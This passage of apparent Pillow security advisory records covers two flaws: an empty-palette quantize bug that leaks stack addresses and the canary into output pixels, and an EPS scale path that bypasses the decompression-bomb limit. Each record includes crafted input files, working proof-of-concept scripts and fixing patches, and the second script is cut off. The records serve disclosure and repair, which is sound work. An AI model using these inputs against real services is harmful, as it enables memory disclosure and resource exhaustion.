bounded by `palette->size`. When the palette has zero entries, the array is never written, but it is still copied into the colour cache. `topalette()` in `src/libImaging/Convert.c` then emits the cached values as output pixel indices. `topalette()` rejects a `NULL` palette but not one with `size == 0`. Three inputs produce such a zero-entry `\"P\"` image: a PNG with a zero-length `PLTE` chunk opened with `Image.open()`, a colour-mapped TGA with colour-map length 0, or a bare `Image.new(\"P\", ...)`. The attacker must control the *palette* image; the source image can be anything, and `RGB` sources are affected with either dither mode. There is no out-of-bounds access and no memory corruption. The consequence is a bounded stack disclosure that can reveal address layout and the canary of a long-lived worker, with no crash and no log entry. The attached reproducer quantizes a 512-colour strip against the empty-palette PNG and finds 8 of the 64 output words pointing into the process's own `[stack]` mapping, while a one-entry palette control yields all zeros. The behaviour was introduced in commit `54cb09d8b48c` (first released in 9.1.0). The `Image.new(\"P\", ...)` route exists since 10.1.0.\n\n## Details\n\n`ImagingPaletteCacheUpdate()` (`src/libImaging/Palette.c:154`) computes, for one 8×8×8 box of the colour cache, the nearest palette index for each of the 512 slots into a local `UINT8 c[512]` and then copies `c[]` into the cache. `c[]` is only ever written inside `for (i = 0; i < palette->size; i++)`. When the palette has zero entries nothing writes it, the untouched stack bytes are copied into the cache, and `topalette()` (`src/libImaging/Convert.c:1145`) emits them as the output pixels of `Image.quantize(palette=...)`. The root cause is that `topalette()` only rejects a `NULL` palette, never one with `palette->size == 0`, while `ImagingPaletteCacheUpdate()` silently assumes `size >= 1`. A zero-entry `\"P\"` image is what `Image.open()` produces for a PNG whose `PLTE` chunk has length 0 (or a colour-mapped TGA with colour-map length 0); `Image.new(\"P\", size)` without a subsequent `putpalette()` yields one as well. Both dither modes (`Dither.NONE` and the default Floyd-Steinberg) are affected for `RGB` sources (an `L` source takes the grayscale copy path and never consults the cache).\n\nShowing it with the installed build, no special flags. The 80-byte PNG below is 4×4, bit depth 8, colour type 3, with a zero-length `PLTE` and an all-zero `IDAT`:\n\n```\n89504e470d0a1a0a 0000000d49484452 0000000400000004 0803000000 9e2f6e4c\n00000000 504c5445 4ba88955\n0000000b 49444154 789c6360c0040000140001 7dfe1eee\n00000000 49454e44 ae426082\n```\n\n```python\npal = Image.open(io.BytesIO(png)); pal.load()      # pal.mode == \"P\", pal.im.getpalette(\"RGB\") == b\"\"\nsrc = Image.new(\"RGB\", (512, 1))\nsrc.putdata([(r*4, g*4, b*4) for r in range(8) for g in range(8) for b in range(8)])\nout = src.quantize(palette=pal, dither=Image.Dither.NONE)\nout.tobytes()        # 512 bytes, different in every process\n```\n\nThe 512 source colours are chosen so that each pixel lands in a distinct slot of the cache box for `r,g,b ∈ [0,32)`, in slot order, so `out.tobytes()` is exactly `c[0..511]`. Read as 64 little-endian 8-byte words and resolved against the same process's `/proc/self/maps`, a typical run gives 43 words that are addresses inside the process's own mappings — 8 in `[stack]`, several in `[heap]`, `libc.so.6`, `libpython3.12.so` and `_imaging.cpython-312-x86_64-linux-gnu.so` — and 3 words equal to the thread's stack-protector canary (read from `fs:0x28` for comparison). The same PNG with a 3-byte `PLTE` (one entry) gives 512 zero bytes in every run. `out.save(buf, \"PNG\")` succeeds, so the bytes leave the process in an ordinary image. Under valgrind (run against a `strip --strip-debug` copy of `_imaging.so` or a gcc build, since valgrind 3.19 cannot read clang's DWARF5) the report carries the origin `Uninitialised value was created by a stack allocation at ImagingPaletteCacheUpdate`. With `Dither.NONE` `topalette` only copies the bytes, so the first `use of uninitialised value` is flagged where Python first branches on the pixel data; with the default Floyd-Steinberg dither it is flagged inside `topalette` (inlined into `ImagingConvert`), where the cached index is used to address `palette->palette`.\n\n### Code path\n\nFile → empty C palette. `PngImagePlugin.chunk_PLTE` (`src/PIL/PngImagePlugin.py:499-505`) stores the chunk payload whatever its length, `_open` wraps it as `ImagePalette.raw(\"RGB\", b\"\")` (`:836-838`), and `Image.load()` realises it with `self.im.putpalette(\"RGB\", \"RGB\", b\"\")` (`src/PIL/Image.py:989-990`). `_putpalette` (`src/_imaging.c:1850-1868`) rejects only more than 256 entries and sets `palette->size = palettesize * 8 / bits`, i.e. 0. `TgaImagePlugin._open` (`src/PIL/TgaImagePlugin.py:121-135`) builds the same empty palette from a colour-mapped TGA whose colour-map-length field is 0.\n\nAPI → sink. `Image.quantize(palette=pal)` (`src/PIL/Image.py:1329-1338`) checks only `palette.mode == \"P\"` and calls `self.im.convert(\"P\", dither, palette.im)` → `ImagingConvert` → `topalette(..., inpalette=<that palette>, dither)`. `topalette` tests the palette for `NULL` (`Convert.c:1162`, `:1178`) but not for `size == 0`, allocates the cache (every slot `0x100` = \"not computed\"), and for each source pixel:\n\n```c\n// src/libImaging/Convert.c:1319-1327  (non-dither path; the dither path at 1252-1265 is the same)\n                    cache = &ImagingPaletteCache(palette, r, g, b);\n                    if (cache[0] == 0x100) {\n                        ImagingPaletteCacheUpdate(palette, r, g, b);\n                    }\n                    …\n                        out[x] = (UINT8)cache[0];\n```\n\nInside `ImagingPaletteCacheUpdate` the only store to `c[]` is in step 2, and both step 1 and step 2 iterate over palette entries:\n\n```c\n// src/libImaging/Palette.c:160-161\n    unsigned int d[BOXVOLUME];\n    UINT8 c[BOXVOLUME];\n…\n// src/libImaging/Palette.c:212-221, 240-242\n    for (i = 0; i < BOXVOLUME; i++) {\n        d[i] = (unsigned int)~0;          /* d[] is initialised, c[] is not */\n    }\n    for (i = 0; i < palette->size; i++) { /* size == 0: body never runs */\n        if (dmin[i] <= dmax) {\n            …\n                        if ((unsigned int)bd < d[j]) {\n                            d[j] = bd;\n                            c[j] = (UINT8)i;\n                        }\n```\n\nFor any non-empty palette every slot is written: the entry that produced `dmax` passes `dmin[i] <= dmax`, and because `d[j]` starts at `~0` the first visiting entry always stores into `c[j]`. With `size == 0` the loop is skipped entirely and step 3 publishes the raw stack array:\n\n```c\n// src/libImaging/Palette.c:262-266\n    j = 0;\n    for (r = r0; r < r1; r += 4) {\n        for (g = g0; g < g1; g += 4) {\n            for (b = b0; b < b1; b += 4) {\n                ImagingPaletteCache(palette, r, g, b) = c[j++];\n```\n\n`cache[0]` is then ≤ 255 and `palette->palette` is a fixed 1024-byte array, so the subsequent `palette->palette[cache[0] * 4]` reads in the dither path stay in bounds; the defect is purely that stack contents become pixel values. Because no deeper call happens between successive `ImagingPaletteCacheUpdate` invocations in the pixel loop, every box yields the same 512 bytes — whatever earlier, deeper call chains (the PNG decode, the interpreter) left at that stack depth.\n\nThe behaviour was introduced in `54cb09d8b48c` (\"When converting to P, restrict colors to palette size\", 2022-02-16), first released in 9.1.0; before it, the cache update iterated over all 256 palette slots. The `Image.new(\"P\", ...)` route additionally depends on `fd310512b95a` (\"Set C palette to be empty by default\", first in 10.1.0); before that a fresh `\"P\"` image carried a 256-entry grey ramp.\n\n## Impact\n\nAn application that lets a user supply the reference palette image for `Image.quantize(palette=...)` — palette-swap / \"apply this palette\" features, sprite and GIF tooling, pixel-art converters — and returns the quantised result hands that user 512 bytes of the worker's C stack, encoded as pixel indices (directly readable from the saved PNG/GIF, since index values survive losslessly). In the build examined those bytes contain return addresses and frame pointers into the stack, heap, libc, libpython and `_imaging.so`, plus the stack-protector canary: an ASLR and canary disclosure from a long-lived server process, obtained with an 80-byte upload, no crash and no log entry. The precondition is that the attacker controls the *palette* image (the source image can be anything with at least one colour per cache box of interest); when the palette image is application-owned the path is not reachable. There is no out-of-bounds access and no memory corruption.\n\n## Reproducing\n\n`repro` is a short, single-file Python script that runs against the installed Pillow. It doesn't rebuild anything or start any other process, and it finishes in about 0.1 s.\n\n1. `png_with_plte()` builds a 4×4 palette-mode PNG (bit depth 8, colour type 3) around a given `PLTE` payload. With an empty payload it produces exactly the 80-byte file shown above.\n2. `quantize_against()` does what an \"apply this palette\" feature does: it opens the PNG with `Image.open()` and calls `quantize(palette=pal, dither=Image.Dither.NONE)` on a 512×1 RGB strip. The strip holds the colours `(r*4, g*4, b*4)` for `r, g, b` in `0..7`, one for each slot of the colour-cache box `r, g, b ∈ [0,32)` and in slot order. That makes output pixel `j` exactly `c[j]` of `ImagingPaletteCacheUpdate()`.\n3. **Control:** a one-entry `PLTE`. The only valid index is 0, and every output pixel is 0.\n4. **Attack:** the same PNG with a zero-length `PLTE`. `quantize()` returns an image without complaint, and its pixels contain about 80 distinct values.\n5. **Check:** the script reads the 512 output bytes as 64 little-endian 8-byte words and compares them with the `[stack]` range in the script's own `/proc/self/maps`. It prints each word that points into the stack. A typical run finds 8, e.g. `pixels 0..7 = 0x00007ffd959c3fa0 <- pointer into [stack]`. Pixel data can only hold stack addresses if it was copied from the stack.\n\nThe script prints `BUG` if the control is all zeros and at least two output words are stack addresses. It prints `OK` if `quantize()` rejects the empty palette with `ValueError`, which is what the attached patch does, or if the output has no stack pointers. The script was also checked against an out-of-tree rebuild, which is not part of the script. With the attached patch it prints `attack (empty PLTE): rejected: empty palette` / `OK`. With only the `Palette.c` half of the patch, the output is 512 zero bytes and it prints `OK`.\n\n## Suggested fix\n\nThe attached patch rejects an empty palette in `topalette()` before any work is done, with `ValueError(\"empty palette\")` in the same idiom as the neighbouring \"no palette\" / \"conversion not supported\" checks, so `Image.quantize()` raises a normal `ValueError`. It also zero-fills `c[]` alongside `d[]` in `ImagingPaletteCacheUpdate()` so no present or future caller can copy stack contents into the cache, and adds a regression test `test_empty_palette` to `Tests/test_image_quantize.py`. `quantize(palette=)` is the only path that hands a caller-supplied palette to `topalette()`; the `NULL`-palette branches always build 256- or 226-entry palettes and are unaffected. The one behaviour change is that quantizing against an empty palette (including a bare `Image.new(\"P\", ...)`) now raises instead of returning garbage indices. The C changes:\n\n```diff\n--- a/src/libImaging/Convert.c\n+++ b/src/libImaging/Convert.c\n@@ -1159,6 +1159,10 @@ topalette(\n \n     alpha = mode == IMAGING_MODE_PA;\n \n+    if (palette != NULL && palette->size <= 0) {\n+        return (Imaging)ImagingError_ValueError(\"empty palette\");\n+    }\n+\n     if (palette == NULL) {\n         /* FIXME: make user configurable */\n         if (imIn->bands == 1) {\n--- a/src/libImaging/Palette.c\n+++ b/src/libImaging/Palette.c\n@@ -211,6 +211,7 @@ ImagingPaletteCacheUpdate(ImagingPalette palette, int r, int g, int b) {\n \n     for (i = 0; i < BOXVOLUME; i++) {\n         d[i] = (unsigned int)~0;\n+        c[i] = 0;\n     }\n \n     for (i = 0; i < palette->size; i++) {\n```\n\nApplied to a clean copy of the tree and rebuilt, the reproducer's attack step fails with `ValueError: empty palette` and the script prints `OK`; the one-entry control is unchanged. Apart from the regression test, the patch does not touch the Python code in `src/PIL`. Optionally `PngImagePlugin.chunk_PLTE` could additionally raise `SyntaxError` for a `PLTE` whose length is 0 or not a multiple of 3, as the PNG specification requires 1–256 entries, and `Image.quantize()` could raise a clearer Python-level error when `palette.palette` is empty.\n\n## The patch\n\nRaise ValueError in topalette() for a palette with no entries and zero-initialise the cache slot array in ImagingPaletteCacheUpdate()\n\nApplies to `src/libImaging/Convert.c` at the commit above.\n\n```diff\ndiff --git a/Tests/test_image_quantize.py b/Tests/test_image_quantize.py\nindex 887628560..dcd1d901e 100644\n--- a/Tests/test_image_quantize.py\n+++ b/Tests/test_image_quantize.py\n@@ -179,3 +179,13 @@ def test_small_palette() -> None:\n     quantized_colors = im.getcolors()\n     assert quantized_colors is not None\n     assert len(quantized_colors) == 2\n+\n+\n+def test_empty_palette() -> None:\n+    im = hopper()\n+\n+    p = Image.new(\"P\", (1, 1))\n+    p.putpalette(b\"\")\n+\n+    with pytest.raises(ValueError):\n+        im.quantize(palette=p)\ndiff --git a/src/libImaging/Convert.c b/src/libImaging/Convert.c\nindex 4a35a9a1f..7746d9255 100644\n--- a/src/libImaging/Convert.c\n+++ b/src/libImaging/Convert.c\n@@ -1159,6 +1159,10 @@ topalette(\n \n     alpha = mode == IMAGING_MODE_PA;\n \n+    if (palette != NULL && palette->size <= 0) {\n+        return (Imaging)ImagingError_ValueError(\"empty palette\");\n+    }\n+\n     if (palette == NULL) {\n         /* FIXME: make user configurable */\n         if (imIn->bands == 1) {\ndiff --git a/src/libImaging/Palette.c b/src/libImaging/Palette.c\nindex b2dacf656..ceb69d3dc 100644\n--- a/src/libImaging/Palette.c\n+++ b/src/libImaging/Palette.c\n@@ -211,6 +211,7 @@ ImagingPaletteCacheUpdate(ImagingPalette palette, int r, int g, int b) {\n \n     for (i = 0; i < BOXVOLUME; i++) {\n         d[i] = (unsigned int)~0;\n+        c[i] = 0;\n     }\n \n     for (i = 0; i < palette->size; i++) {\n```\n\n## The reproducer\n\n<details>\n<summary>Reproducer — <code>repro</code>, 2,975 bytes (click to open)</summary>\n\nIts last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`.\n\n```python\n#!/usr/bin/env python3\n# Pillow: Image.quantize(palette=<P image with an empty palette>) returns\n# uninitialised C stack bytes as pixel values.\n#\n# ImagingPaletteCacheUpdate() (src/libImaging/Palette.c) only writes its local\n# UINT8 c[512] inside `for (i = 0; i < palette->size; i++)`. A PNG with a\n# zero-length PLTE chunk gives palette->size == 0, so c[] is never written and\n# its raw stack contents are copied into the colour cache, which topalette()\n# (src/libImaging/Convert.c) then emits as the output pixels.\nimport io\nimport struct\nimport zlib\n\nfrom PIL import Image\n\n\ndef png_with_plte(plte):\n    \"\"\"A 4x4 palette-mode (colour type 3) PNG whose PLTE chunk holds `plte`.\"\"\"\n    def chunk(tag, data):\n        return (struct.pack(\">I\", len(data)) + tag + data\n                + struct.pack(\">I\", zlib.crc32(tag + data)))\n    ihdr = struct.pack(\">IIBBBBB\", 4, 4, 8, 3, 0, 0, 0)\n    pixels = zlib.compress(b\"\\x00\" * 4 * 5)\n    return (b\"\\x89PNG\\r\\n\\x1a\\n\" + chunk(b\"IHDR\", ihdr) + chunk(b\"PLTE\", plte)\n            + chunk(b\"IDAT\", pixels) + chunk(b\"IEND\", b\"\"))\n\n\ndef quantize_against(palette_png):\n    \"\"\"What an \"apply this palette\" feature does with an uploaded palette image.\"\"\"\n    pal = Image.open(io.BytesIO(palette_png))\n    # 512 colours, one per slot of the colour-cache box r,g,b in [0,32), in slot\n    # order: output pixel j is exactly c[j] of ImagingPaletteCacheUpdate().\n    src = Image.new(\"RGB\", (512, 1))\n    src.putdata([(r * 4, g * 4, b * 4)\n                 for r in range(8) for g in range(8) for b in range(8)])\n    return src.quantize(palette=pal, dither=Image.Dither.NONE).tobytes()\n\n\ndef stack_range():\n    for line in open(\"/proc/self/maps\"):\n        if line.rstrip().endswith(\"[stack]\"):\n            lo, hi = line.split()[0].split(\"-\")\n            return int(lo, 16), int(hi, 16)\n\n\n# Control: a one-entry palette -- every pixel must map to index 0.\ncontrol = quantize_against(png_with_plte(b\"\\x10\\x20\\x30\"))\nprint(f\"control (1-entry PLTE): distinct pixel values = {sorted(set(control))}\")\n\n# Attack: the same PNG with an empty PLTE chunk (80 bytes).\ntry:\n    leaked = quantize_against(png_with_plte(b\"\"))\nexcept ValueError as e:\n    print(f\"attack (empty PLTE): rejected: {e}\")\n    print(\"OK\")\n    raise SystemExit\n\nprint(f\"attack  (empty PLTE): {len(set(leaked))} distinct pixel values; first 64 bytes:\")\nprint(f\"  {leaked[:64].hex()}\")\n\n# Read the 512 pixel bytes as 64 little-endian words; any word that is an\n# address inside this process's own stack can only have come from the stack.\nlo, hi = stack_range()\nprint(f\"this process's [stack] mapping: {lo:#x}-{hi:#x}\")\nstack_ptrs = 0\nfor i in range(0, 512, 8):\n    word = int.from_bytes(leaked[i:i + 8], \"little\")\n    if lo <= word < hi:\n        stack_ptrs += 1\n        print(f\"  pixels {i:3d}..{i + 7:3d} = {word:#018x}  <- pointer into [stack]\")\n\nprint(f\"{stack_ptrs} of 64 words of the output image are stack addresses\")\nprint(\"BUG\" if set(control) == {0} and stack_ptrs >= 2 else \"OK\")\n```\n</details>\n\n---","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-rfgq-q3w2-pmv2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112898"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/13943c8f857b22f073d30f0ef9b725a0d255f1a4"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/13.0.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-112899","published":"2026-10-21T09:14:41Z","modified":"2026-10-21T09:14:41Z","upstream":["GHSA-vx6w-vv9f-6gvg","CVE-2026-112899"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.86.1_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"13.0.0","resource":"pillow","resource_purl":"pkg:pypi/pillow@12.1.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pillow","subject_version":"12.1.1","key":"pkg:pypi/pillow@12.1.1","resource":"pillow"}]},"summary":"Pillow: EPS load(scale) lets Ghostscript render past the decompression bomb limit","details":"```\n============================================================================\nEPS load(scale) lets Ghostscript render past the decompression bomb limit\nLocation: src/PIL/EpsImagePlugin.py:92  in Ghostscript()\nCommit:   a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nWhen an application opens an untrusted Encapsulated PostScript file and asks Pillow to render it at a larger scale, Pillow has Ghostscript produce an image several times bigger than Pillow's configured size limit allows. The size check runs only after Ghostscript has finished rendering and written the full raw image to a temporary file. An attacker who can upload a file of about 100 bytes makes each such request spend scale² times the Ghostscript rendering work and temporary disk space that the limit is meant to permit. For example, at scale 2 that is a 972 MB temporary file.\n\nThe cause is in `Ghostscript()` in `src/PIL/EpsImagePlugin.py`. It multiplies the file-declared size by the caller's `scale` (lines 93-94) and passes the product to `gs` as the `-g` output geometry. It never calls `Image._decompression_bomb_check()` on the scaled size. The only check is the one `Image.open()` ran on the unscaled size, so a file declaring 9000×9000 passes, and `load(scale=2)` then asks Ghostscript for 18000×18000 (3.6× `MAX_IMAGE_PIXELS`). A file declaring 18000×18000 directly would be refused before Ghostscript ever ran. `DecompressionBombError` fires only when Pillow reopens the output file, so Pillow's own in-process allocation stays bounded and there is no memory corruption.\n\nThe effect is a constant-factor overshoot rather than an unbounded one, for three reasons:\n\n* The multiplier is an integer chosen by the application, not by the file.\n* With the default warning filter, `Image.open()` already lets files up to 2× the limit reach Ghostscript at `scale=1`.\n* Any application feeding untrusted files to Ghostscript is already exposed to a tiny file that keeps Ghostscript busy indefinitely, since `gs` runs with no timeout.\n\nThis is the EPS counterpart of the WMF `load(dpi)` gap closed in af70b075a. It has been present since the decompression-bomb limit was introduced in ce2955ec7 (2.5.0). The attached reproducer stubs out Ghostscript and shows a 76-byte file passing `Image.open()` and reaching `gs` with `-g18000x18000`. A one-line patch mirroring the WMF check is included.\n\n## Details\n\n`EpsImageFile.load(scale=N)` (the documented way to rasterise an EPS at higher resolution) renders `width*N × height*N` pixels through Ghostscript, but the only decompression-bomb check on the way is the one `Image.open()` ran on the *unscaled*, file-declared `width × height`. The scaled product is never passed to `Image._decompression_bomb_check()` before `gs` is started.\n\nThis 111-byte EPS declares 9000×9000 = 81,000,000 pixels, below the default `MAX_IMAGE_PIXELS` (89,478,485), so `Image.open()` accepts it without even a warning:\n\n```\n%!PS-Adobe-3.0 EPSF-3.0\n%%BoundingBox: 0 0 9000 9000\n%%EndComments\n0 0 moveto 9000 9000 lineto stroke\nshowpage\n```\n\n`im.load(scale=2)` on it then executes\n\n```\ngs -q -g18000x18000 -r144.000000x144.000000 -dBATCH -dNOPAUSE -dSAFER -sDEVICE=pnmraw -sOutputFile=/tmp/tmpXXXX -c 0 0 translate -f attack.eps -c showpage\n```\n\ni.e. asks Ghostscript for an 18000×18000 = 324,000,000-pixel raster (3.6× `MAX_IMAGE_PIXELS`), whose `pnmraw` output is a 972,000,019-byte file in the temp directory. An EPS that declares 18000×18000 directly is rejected by `Image.open()` with `DecompressionBombError` before Ghostscript is ever run; via `scale=2` the same raster is rendered first and the `DecompressionBombError` only appears afterwards, when Pillow opens the file Ghostscript produced. (Between 1× and 2× `MAX_IMAGE_PIXELS`, `Image.open()` only emits `DecompressionBombWarning`, so with the default warning filter an EPS declaring e.g. 13377×13377 is already rendered at `scale=1` — a 537 MB PNM. Against that baseline, `scale=2` is 4× an already-permitted render.)\n\nThe arithmetic is in `Ghostscript()`:\n\n```python\n# src/PIL/EpsImagePlugin.py:91-97\n    # Hack to support hi-res rendering\n    scale = int(scale) or 1\n    width = size[0] * scale\n    height = size[1] * scale\n    # resolution is dependent on bbox and size\n    res_x = 72.0 * width / (bbox[2] - bbox[0])\n    …\n# src/PIL/EpsImagePlugin.py:139-142\n    command = [\n        gs_binary,\n        \"-q\",  # quiet mode\n        f\"-g{width:d}x{height:d}\",  # set output geometry (pixels)\n    …\n# src/PIL/EpsImagePlugin.py:165-168\n        subprocess.check_call(command, startupinfo=startupinfo)\n        with Image.open(outfile) as out_im:\n            out_im.load()\n            return out_im.im.copy()\n```\n\nand its caller does nothing between taking `scale` from the application and invoking it:\n\n```python\n# src/PIL/EpsImagePlugin.py:411-417\n    def load(self, scale: int = 1, transparency: bool = False) -> …:\n        # Load EPS via Ghostscript\n        if self.tile:\n            assert self.fp is not None\n            self.im = Ghostscript(self.tile, self.size, self.fp, scale, transparency)\n```\n\n`size` here is `self._size`, computed in `_open()` from the file's `%%BoundingBox` (or `%ImageData`) and checked once by `Image.open()` at `src/PIL/Image.py:3700`. For the benign path (`scale=1`) that check covers exactly what Ghostscript is asked to render. For `scale=N` the rendered pixel count is N² times what was checked, so a file can sit just under the limit at open time and have Ghostscript render 4× (scale 2), 9× (scale 3), 16× (scale 4) the configured budget. The first point at which Pillow looks at the real size again is `Image.open(outfile)` at line 166 — after `subprocess.check_call` has returned, i.e. after Ghostscript has spent the CPU and written `width*height*3` bytes to `tempfile.mkstemp()`'s directory.\n\n`WmfStubImageFile.load(dpi)` has the same shape (file-derived extent × caller-supplied factor → new raster) and, since af70b075a, calls `Image._decompression_bomb_check(self.size)` on the recomputed size before rendering (`src/PIL/WmfImagePlugin.py:127-131`). The EPS path lacks the equivalent line. The gap dates from ce2955ec7128 (\"Throw an exception when an opened image is larger than an arbitrary limit\", 2014-05-14, first released in 2.5.0), which added the check to `Image.open()` without covering the `scale` path.\n\n## Impact\n\nAffected are applications that open untrusted EPS/PS with Ghostscript installed and call `load(scale=N)` with a fixed N > 1, as the handbook suggests for non-blurry output. Handing untrusted EPS to Ghostscript at all already lets the same attacker tie up a worker with an equally tiny file (e.g. a PostScript `{} loop`; Pillow runs `gs` with no timeout), so this bug adds a constant factor rather than a new denial-of-service capability. Within that setting, a ~110-byte upload makes each request run Ghostscript over N² × `MAX_IMAGE_PIXELS` pixels (N² × 2·`MAX_IMAGE_PIXELS` if the application does not turn `DecompressionBombWarning` into an error) and write a `W·H·3`-byte PNM into the temp directory — 972 MB for the example above at scale 2, 2.2 GB at scale 3, 8.6 GB for a 178-Mpixel declaration at scale 4 — before any limit is applied. The operator's `MAX_IMAGE_PIXELS` setting is exceeded by a factor of N²; N is an integer chosen by the application, not by the file, so the work stays bounded at N² × 2·`MAX_IMAGE_PIXELS`. The consequence is N² more Ghostscript CPU and temp-disk use per request than the configured limit intends; Pillow's own in-process pixel allocation remains bounded because `Image.open(outfile)` re-checks the PNM's size, and there is no memory corruption.\n\nThis is a sibling of the WMF `load(dpi)` issue fixed in af70b075a (\"Add decompression bomb check when loading at a different DPI\"); the EPS `scale` path was not covered by that change. Unlike the WMF case, where the file-controlled `_inch` makes the ratio unbounded, the EPS multiplier is fixed by the application.\n\n## Reproducing\n\nRun `repro` against the installed Pillow. Ghostscript does not need to be installed: the script sets `EpsImagePlugin.gs_binary = \"gs\"` so that `has_ghostscript()` skips its `gs --version` probe, and replaces `subprocess.check_call` with a function that records the command line Pillow builds and then raises `OSError`, so nothing is actually rendered.\n\nIt writes a 76-byte EPS declaring `%%BoundingBox: 0 0 9000 9000` (the example above without the drawing line; 81 Mpixel, below the default `MAX_IMAGE_PIXELS` of 89,478,485) and turns `DecompressionBombWarning` into an error, so any bomb check — warning or hard error — counts. It then calls `Image.open()` and `im.load(scale=2)`. `Image.open()` accepts the file and `load(scale=2)` reaches the intercepted Ghostscript call with `-g18000x18000` (324,000,000 pixels, 3.6× `MAX_IMAGE_PIXELS`, a 972 MB `pnmraw` output with real Ghostscript). The script prints the geometry it captured.\n\nIt prints `BUG` when Ghostscript was invoked with a `-g` geometry above `2*MAX_IMAGE_PIXELS` (178,956,970) and no decompression-bomb check fired before that call; otherwise it prints `OK`. With the attached patch applied, `load(scale=2)` raises `DecompressionBombError` before Ghostscript is called and the script prints `OK`.\n\n## Suggested fix\n\nThe attached patch checks the scaled size in `Ghostscript()` right after the scaled `width`/`height` are computed (`src/PIL/EpsImagePlugin.py:93-94`) and before the `gs` command is built, mirroring `WmfStubImageFile.load`:\n\n```diff\n--- a/src/PIL/EpsImagePlugin.py\n+++ b/src/PIL/EpsImagePlugin.py\n@@ -92,6 +92,7 @@ def Ghostscript(\n     scale = int(scale) or 1\n     width = size[0] * scale\n     height = size[1] * scale\n+    Image._decompression_bomb_check((width, height))\n     # resolution is dependent on bbox and size\n     res_x = 72.0 * width / (bbox[2] - bbox[0])\n     res_y = 72.0 * height / (bbox[3] - bbox[1])\n```\n\n`load(scale=N)` now raises `DecompressionBombError` / emits `DecompressionBombWarning` under the same `MAX_IMAGE_PIXELS` thresholds `Image.open()` applies, before Ghostscript runs instead of after. Placing the check in `Ghostscript()` rather than in `EpsImageFile.load()` is the single point where the rendered extent is decided, so it also covers direct callers of the module-level function. With the patch applied to a clean checkout the reproducer prints `OK` and `Tests/test_file_eps.py` passes. One cosmetic side effect: at `scale=1` the check re-emits the `DecompressionBombWarning` that `Image.open()` already issued for sizes between 1× and 2× the limit; guarding the call with `if scale > 1:` would avoid the duplicate.\n\nThe patch also adds `test_load_scale_decompression_bomb` to `Tests/test_file_eps.py`, in the style of the WMF test: it sets `MAX_IMAGE_PIXELS` to `im.width * im.height` and expects `im.load(scale=2)` to raise `DecompressionBombError`. Like the rest of that file it is skipped without Ghostscript, because `has_ghostscript()` is consulted at the top of `Ghostscript()`; moving the check above that call would let the test run without it.\n\n## The patch\n\nAdd decompression bomb check on the scaled size in EpsImagePlugin.Ghostscript() before Ghostscript is invoked\n\nApplies to `src/PIL/EpsImagePlugin.py` at the commit above.\n\n```diff\ndiff --git a/Tests/test_file_eps.py b/Tests/test_file_eps.py\nindex 70eced62a..de331d97f 100644\n--- a/Tests/test_file_eps.py\n+++ b/Tests/test_file_eps.py\n@@ -98,6 +98,14 @@ def test_sanity(filename: str, size: tuple[int, int], scale: int) -> None:\n         assert image.format == \"EPS\"\n \n \n+@pytest.mark.skipif(not HAS_GHOSTSCRIPT, reason=\"Ghostscript not available\")\n+def test_load_scale_decompression_bomb(monkeypatch: pytest.MonkeyPatch) -> None:\n+    with Image.open(FILE1) as im:\n+        monkeypatch.setattr(Image, \"MAX_IMAGE_PIXELS\", im.width * im.height)\n+        with pytest.raises(Image.DecompressionBombError):\n+            im.load(scale=2)\n+\n+\n @pytest.mark.skipif(not HAS_GHOSTSCRIPT, reason=\"Ghostscript not available\")\n def test_load() -> None:\n     with Image.open(FILE1) as im:\ndiff --git a/src/PIL/EpsImagePlugin.py b/src/PIL/EpsImagePlugin.py\nindex 5eaefe339..ccc6f1d85 100644\n--- a/src/PIL/EpsImagePlugin.py\n+++ b/src/PIL/EpsImagePlugin.py\n@@ -92,6 +92,7 @@ def Ghostscript(\n     scale = int(scale) or 1\n     width = size[0] * scale\n     height = size[1] * scale\n+    Image._decompression_bomb_check((width, height))\n     # resolution is dependent on bbox and size\n     res_x = 72.0 * width / (bbox[2] - bbox[0])\n     res_y = 72.0 * height / (bbox[3] - bbox[1])\n```\n\n## The reproducer\n\n<details>\n<summary>Reproducer — <code>repro</code>, 1,845 bytes (click to open)</summary>\n\nIts last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`.\n\n```python\n#!/usr/bin/env python3\n# EpsImagePlugin.Ghostscript(): load(scale=N) hands gs a -g geometry of\n# (W*N)x(H*N) with no _decompression_bomb_check on the scaled size; only the\n# unscaled WxH was checked by Image.open(). gs is not installed here, so we\n# set gs_binary and intercept subprocess.check_call to read the argv Pillow builds.\nimport os, subprocess, tempfile, warnings\nfrom PIL import Image, EpsImagePlugin\n\nEpsImagePlugin.gs_binary = \"gs\"  # skip the `gs --version` probe\npath = os.path.join(tempfile.mkdtemp(), \"a.eps\")\nwith open(path, \"w\") as f:  # 9000x9000 = 81 Mpx < MAX_IMAGE_PIXELS (89.5 Mpx)\n    f.write(\"%!PS-Adobe-3.0 EPSF-3.0\\n%%BoundingBox: 0 0 9000 9000\\n%%EndComments\\nshowpage\\n\")\n\ncalls = []\ndef fake_check_call(cmd, **kw):\n    calls.append(cmd)\n    raise OSError(\"gs intercepted\")  # stop here; we only need the argv\nsubprocess.check_call = fake_check_call\n\nhard = 2 * Image.MAX_IMAGE_PIXELS\nbomb_before_gs = False\nwith warnings.catch_warnings():\n    warnings.simplefilter(\"error\", Image.DecompressionBombWarning)\n    try:\n        with Image.open(path) as im:\n            print(\"Image.open accepted\", os.path.getsize(path), \"byte EPS, size\", im.size)\n            im.load(scale=2)\n    except (Image.DecompressionBombError, Image.DecompressionBombWarning) as e:\n        bomb_before_gs = not calls\n        